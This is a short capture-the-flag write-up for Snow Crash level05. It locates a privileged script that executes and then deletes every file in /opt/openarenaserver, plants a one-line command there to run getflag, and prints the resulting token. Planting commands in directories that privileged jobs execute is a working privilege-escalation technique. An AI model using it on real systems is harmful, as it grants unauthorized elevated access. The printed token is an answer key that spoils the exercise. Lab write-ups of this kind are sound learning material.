snow-crash/rparodi/level05

When arriving on level05 I notice that the home directory is empty so I therefore decide to do a small search of which file belongs to flag05.

find / -user flag05 2> /dev/null
/usr/sbin/openarenaserver
/rofs/usr/sbin/openarenaserver

We do not have the permissions to execute this file but we can read it:

cat /usr/sbin/openarenaserver
#!/bin/sh

for i in /opt/openarenaserver/* ; do
    (ulimit -t 5; bash -x "$i")
    rm -f "$i"
done

And I am going to make a small file:

echo 'getflag > /tmp/flag' > /opt/openarenaserver/notanexploit

cat /tmp/flag
Check flag.Here is your token : viuaaale9huek52boumoomioc